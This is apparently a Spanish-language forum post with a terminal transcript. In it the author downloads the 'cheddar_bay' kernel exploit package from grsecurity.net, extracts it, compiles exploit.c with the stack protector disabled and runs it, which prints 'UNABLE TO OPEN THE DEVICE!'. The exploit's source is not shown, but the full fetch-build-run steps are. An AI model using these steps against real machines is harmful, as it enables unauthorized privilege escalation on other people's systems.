Instalate la libs necesarios, verifica el codigo fuente si parseaste mal alguna comilla o comentario, a mi me funciona correctamente:
berz3k@Zion:/home/berz3k/Desktop$ wget -c http://grsecurity.net/~spender/cheddar_bay.tgz
--17:57:28-- http://grsecurity.net/~spender/cheddar_bay.tgz
=> `cheddar_bay.tgz'
Resolving grsecurity.net... 209.9.226.146
Connecting to grsecurity.net|209.9.226.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,345 (12K) [application/x-tar]
100%[==============================================================================================>] 12,345 51.83K/s
17:57:28 (51.75 KB/s) - `cheddar_bay.tgz' saved [12345/12345]
berz3k@Zion:/home/berz3k/Desktop$ gzip -d cheddar_bay.tgz
berz3k@Zion:/home/berz3k/Desktop$ tar -xvf cheddar_bay.tar
cheddar_bay/
cheddar_bay/cheddar_bay.sh
cheddar_bay/exploit.c
cheddar_bay/pwnkernel.c
berz3k@Zion:/home/berz3k/Desktop# cd cheddar_bay
berz3k@Zion:/home/berz3k/Desktop/cheddar_bay$
berz3k@Zion:/home/berz3k/Desktop/cheddar_bay$ cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
berz3k@Zion:/home/berz3k/Desktop/cheddar_bay$
berz3k@Zion:~/Desktop/cheddar_bay$ ./exploit
UNABLE TO OPEN THE DEVICE!
[/snip...]
El binario ha sido construido sobre Ubuntu, dentro de el codigo "exploit.c" se especifica los modos de compilacion sobre diferentes platforms.
-berz3k.